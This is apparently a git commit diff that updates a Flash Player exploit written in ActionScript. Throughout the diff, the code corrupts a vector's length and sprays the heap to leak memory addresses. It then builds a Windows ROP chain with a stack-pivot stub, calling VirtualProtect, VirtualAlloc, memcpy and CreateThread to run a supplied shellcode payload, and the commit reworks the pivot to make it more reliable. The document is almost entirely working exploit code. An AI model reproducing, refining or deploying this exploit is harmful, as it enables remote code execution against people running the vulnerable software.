Update flash exploiter
parent
bd5d372436
commit
ab5c7a806e
|
@ -25,13 +25,11 @@ package
|
||||||
private var b64:Base64Decoder = new Base64Decoder()
|
private var b64:Base64Decoder = new Base64Decoder()
|
||||||
private var payload:ByteArray
|
private var payload:ByteArray
|
||||||
private var platform:String
|
private var platform:String
|
||||||
private var os:String
|
|
||||||
private var exploiter:Exploiter
|
private var exploiter:Exploiter
|
||||||
|
|
||||||
public function Exploit()
|
public function Exploit()
|
||||||
{
|
{
|
||||||
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
||||||
os = LoaderInfo(this.root.loaderInfo).parameters.os
|
|
||||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||||
var pattern:RegExp = / /g;
|
var pattern:RegExp = / /g;
|
||||||
b64_payload = b64_payload.replace(pattern, "+")
|
b64_payload = b64_payload.replace(pattern, "+")
|
||||||
|
@ -42,7 +40,7 @@ package
|
||||||
The exploit code here. The goal is to corrupt the uv vector length with 0x3fffffff or bigger.
|
The exploit code here. The goal is to corrupt the uv vector length with 0x3fffffff or bigger.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
exploiter = new Exploiter(this, platform, os, payload, uv, 0x13e)
|
exploiter = new Exploiter(this, platform, payload, uv, 0x13e)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -11,27 +11,33 @@ package
|
||||||
private var eba:ExploitByteArray
|
private var eba:ExploitByteArray
|
||||||
private var payload:ByteArray
|
private var payload:ByteArray
|
||||||
private var platform:String
|
private var platform:String
|
||||||
private var op_system:String
|
|
||||||
private var pos:uint
|
private var pos:uint
|
||||||
private var byte_array_object:uint
|
private var byte_array_object:uint
|
||||||
private var main:uint
|
private var main:uint
|
||||||
private var stack_object:uint
|
private var stack_object:uint
|
||||||
private var payload_space_object:uint
|
private var payload_space_object:uint
|
||||||
private var buffer_object:uint
|
private var buffer_object:uint
|
||||||
|
private var magic:uint
|
||||||
|
private var magic_arg0:uint
|
||||||
|
private var magic_arg1:uint
|
||||||
|
private var magic_object:uint
|
||||||
|
private var magic_table:uint
|
||||||
private var buffer:uint
|
private var buffer:uint
|
||||||
private var vtable:uint
|
private var vtable:uint
|
||||||
private var stack_address:uint
|
private var stack_address:uint
|
||||||
private var payload_address:uint
|
private var payload_address:uint
|
||||||
|
private var stub_address:uint
|
||||||
|
private var stub_space_object:uint
|
||||||
|
private var stub:Vector.<uint> = new Vector.<uint>(8)
|
||||||
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
private var spray:Vector.<Object> = new Vector.<Object>(90000)
|
private var spray:Vector.<Object> = new Vector.<Object>(90000)
|
||||||
|
|
||||||
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>, uv_length:uint):void
|
public function Exploiter(exp:Exploit, pl:String, p:ByteArray, uv:Vector.<uint>, uv_length:uint):void
|
||||||
{
|
{
|
||||||
exploit = exp
|
exploit = exp
|
||||||
payload = p
|
payload = p
|
||||||
platform = pl
|
platform = pl
|
||||||
op_system = os
|
|
||||||
|
|
||||||
ev = new ExploitVector(uv, uv_length)
|
ev = new ExploitVector(uv, uv_length)
|
||||||
if (!ev.is_ready()) return
|
if (!ev.is_ready()) return
|
||||||
|
@ -49,9 +55,18 @@ package
|
||||||
cleanup()
|
cleanup()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
static function Magic(...a){}
|
||||||
|
|
||||||
private function spray_objects():void
|
private function spray_objects():void
|
||||||
{
|
{
|
||||||
Logger.log("[*] Exploiter - spray_objects()")
|
Logger.log("[*] Exploiter - spray_objects()")
|
||||||
|
|
||||||
|
// mov eax,[esp+0x4]
|
||||||
|
// xchg eax,esp
|
||||||
|
// rets
|
||||||
|
stub[0] = 0x0424448B
|
||||||
|
stub[1] = 0x0000C394
|
||||||
|
|
||||||
for (var i:uint = 0; i < spray.length; i++)
|
for (var i:uint = 0; i < spray.length; i++)
|
||||||
{
|
{
|
||||||
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
|
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
|
||||||
|
@ -59,6 +74,8 @@ package
|
||||||
spray[i][1] = exploit
|
spray[i][1] = exploit
|
||||||
spray[i][2] = stack
|
spray[i][2] = stack
|
||||||
spray[i][3] = payload_space
|
spray[i][3] = payload_space
|
||||||
|
spray[i][4] = Magic
|
||||||
|
spray[i][5] = stub
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -76,6 +93,8 @@ package
|
||||||
main = ev.at(pos + 1) - 1
|
main = ev.at(pos + 1) - 1
|
||||||
stack_object = ev.at(pos + 2) - 1
|
stack_object = ev.at(pos + 2) - 1
|
||||||
payload_space_object = ev.at(pos + 3) - 1
|
payload_space_object = ev.at(pos + 3) - 1
|
||||||
|
magic = ev.at(pos + 4) - 1
|
||||||
|
stub_space_object = ev.at(pos + 5) - 1
|
||||||
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
|
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
@ -98,6 +117,11 @@ package
|
||||||
vtable = ev.read(main)
|
vtable = ev.read(main)
|
||||||
stack_address = ev.read(stack_object + 0x18)
|
stack_address = ev.read(stack_object + 0x18)
|
||||||
payload_address = ev.read(payload_space_object + 0x18)
|
payload_address = ev.read(payload_space_object + 0x18)
|
||||||
|
stub_address = ev.read(stub_space_object + 0x18)
|
||||||
|
magic_object = ev.read(ev.read(ev.read(ev.read(magic + 8) + 0x14) + 4) + 0xb0)
|
||||||
|
magic_table = ev.read(magic_object)
|
||||||
|
magic_arg0 = ev.read(magic + 0x1c)
|
||||||
|
magic_arg1 = ev.read(magic + 0x20)
|
||||||
}
|
}
|
||||||
|
|
||||||
private function corrupt_byte_array():void
|
private function corrupt_byte_array():void
|
||||||
|
@ -138,13 +162,7 @@ package
|
||||||
if (platform == "linux") {
|
if (platform == "linux") {
|
||||||
do_rop_linux()
|
do_rop_linux()
|
||||||
} else if (platform == "win") {
|
} else if (platform == "win") {
|
||||||
if (op_system == "Windows 8.1") {
|
do_rop_windows()
|
||||||
do_rop_windows8()
|
|
||||||
} else if (op_system == "Windows 7") {
|
|
||||||
do_rop_windows()
|
|
||||||
} else {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
} else {
|
} else {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
@ -167,88 +185,20 @@ package
|
||||||
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||||
|
|
||||||
// Continuation of execution
|
// Continuation of execution
|
||||||
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, magic_table, false) // mov eax, vtable
|
||||||
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
eba.write(0, "\xbb", false); eba.write(0, magic_object, false) // mov ebx, main
|
||||||
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
eba.write(0, "\x87\xf4\xc2\x10\x00", false) // xchg esi, esp # ret 0x10
|
||||||
|
|
||||||
// Put the payload (command) in memory
|
// Put the payload (command) in memory
|
||||||
eba.write(payload_address + 8, payload, true); // payload
|
eba.write(payload_address + 8, payload, true); // payload
|
||||||
|
|
||||||
// Put the fake vtabe / stack on memory
|
// Put the fake stack on memory
|
||||||
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
|
||||||
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
|
||||||
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||||
eba.write(0, virtualprotect)
|
|
||||||
|
|
||||||
// VirtualProtect
|
|
||||||
eba.write(0, virtualalloc)
|
|
||||||
eba.write(0, buffer + 0x10)
|
|
||||||
eba.write(0, 0x1000)
|
|
||||||
eba.write(0, 0x40)
|
|
||||||
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
|
||||||
|
|
||||||
// VirtualAlloc
|
|
||||||
eba.write(0, memcpy)
|
|
||||||
eba.write(0, 0x7f6e0000)
|
|
||||||
eba.write(0, 0x4000)
|
|
||||||
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
|
||||||
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
|
||||||
|
|
||||||
// memcpy
|
|
||||||
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
|
||||||
eba.write(0, 0x7f6e0000)
|
|
||||||
eba.write(0, payload_address + 8)
|
|
||||||
eba.write(0, payload.length)
|
|
||||||
|
|
||||||
// CreateThread
|
|
||||||
eba.write(0, createthread)
|
|
||||||
eba.write(0, buffer + 0x10) // return to fix things
|
|
||||||
eba.write(0, 0)
|
|
||||||
eba.write(0, 0)
|
|
||||||
eba.write(0, 0x7f6e0000)
|
|
||||||
eba.write(0, 0)
|
|
||||||
eba.write(0, 0)
|
|
||||||
eba.write(0, 0)
|
|
||||||
|
|
||||||
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
|
||||||
exploit.toString() // call method in the fake vtable
|
|
||||||
}
|
|
||||||
|
|
||||||
private function do_rop_windows8():void
|
|
||||||
{
|
|
||||||
Logger.log("[*] Exploiter - do_rop_windows8()")
|
|
||||||
var pe:PE = new PE(eba)
|
|
||||||
var flash:uint = pe.base(vtable)
|
|
||||||
var winmm:uint = pe.module("winmm.dll", flash)
|
|
||||||
var advapi32:uint = pe.module("advapi32.dll", flash)
|
|
||||||
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
|
|
||||||
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
|
||||||
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
|
||||||
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
|
|
||||||
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
|
|
||||||
var createthread:uint = pe.procedure("CreateThread", kernelbase)
|
|
||||||
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
|
||||||
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
|
||||||
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
|
||||||
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
|
||||||
|
|
||||||
// Continuation of execution
|
|
||||||
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
|
||||||
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
|
||||||
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
|
||||||
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
|
||||||
|
|
||||||
// Put the payload (command) in memory
|
|
||||||
eba.write(payload_address + 8, payload, true); // payload
|
|
||||||
|
|
||||||
// Put the fake vtabe / stack on memory
|
|
||||||
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
|
||||||
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
|
||||||
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
|
||||||
eba.write(0, virtualprotect)
|
eba.write(0, virtualprotect)
|
||||||
|
|
||||||
// VirtualProtect
|
// VirtualProtect
|
||||||
eba.write(0, virtualalloc)
|
eba.write(0, virtualalloc)
|
||||||
eba.write(0, buffer + 0x10)
|
eba.write(0, buffer + 0x10)
|
||||||
eba.write(0, 0x1000)
|
eba.write(0, 0x1000)
|
||||||
|
@ -257,14 +207,14 @@ package
|
||||||
|
|
||||||
// VirtualAlloc
|
// VirtualAlloc
|
||||||
eba.write(0, memcpy)
|
eba.write(0, memcpy)
|
||||||
eba.write(0, 0x7ffd0000)
|
eba.write(0, 0x7f6e0000)
|
||||||
eba.write(0, 0x4000)
|
eba.write(0, 0x4000)
|
||||||
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||||
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||||
|
|
||||||
// memcpy
|
// memcpy
|
||||||
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||||
eba.write(0, 0x7ffd0000)
|
eba.write(0, 0x7f6e0000)
|
||||||
eba.write(0, payload_address + 8)
|
eba.write(0, payload_address + 8)
|
||||||
eba.write(0, payload.length)
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
@ -273,13 +223,31 @@ package
|
||||||
eba.write(0, buffer + 0x10) // return to fix things
|
eba.write(0, buffer + 0x10) // return to fix things
|
||||||
eba.write(0, 0)
|
eba.write(0, 0)
|
||||||
eba.write(0, 0)
|
eba.write(0, 0)
|
||||||
eba.write(0, 0x7ffd0000)
|
eba.write(0, 0x7f6e0000)
|
||||||
eba.write(0, 0)
|
eba.write(0, 0)
|
||||||
eba.write(0, 0)
|
eba.write(0, 0)
|
||||||
eba.write(0, 0)
|
eba.write(0, 0)
|
||||||
|
|
||||||
|
for (var i:uint; i < 0x100; i++) {
|
||||||
|
eba.write(stack_address + 8 + (i * 4), eba.read(magic_table - 0x80 + i * 4))
|
||||||
|
}
|
||||||
|
|
||||||
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
// VirtualProtect the stub with a *reliable* stackpivot
|
||||||
exploit.toString() // call method in the fake vtable
|
eba.write(stack_address + 8 + 0x80 + 28, virtualprotect)
|
||||||
|
eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored)
|
||||||
|
eba.write(magic + 0x1c, stub_address)
|
||||||
|
eba.write(magic + 0x20, 0x10)
|
||||||
|
var args:Array = new Array(0x41)
|
||||||
|
Magic.call.apply(null, args);
|
||||||
|
|
||||||
|
// Call to our stackpivot and init the rop chain
|
||||||
|
eba.write(stack_address + 8 + 0x80 + 28, stub_address + 8)
|
||||||
|
eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored)
|
||||||
|
eba.write(magic + 0x1c, stack_address + 0x18000)
|
||||||
|
Magic.call.apply(null, null);
|
||||||
|
eba.write(magic_object, magic_table);
|
||||||
|
eba.write(magic + 0x1c, magic_arg0)
|
||||||
|
eba.write(magic + 0x20, magic_arg1)
|
||||||
}
|
}
|
||||||
|
|
||||||
private function do_rop_linux():void
|
private function do_rop_linux():void
|
||||||
|
|
Loading…
Reference in New Issue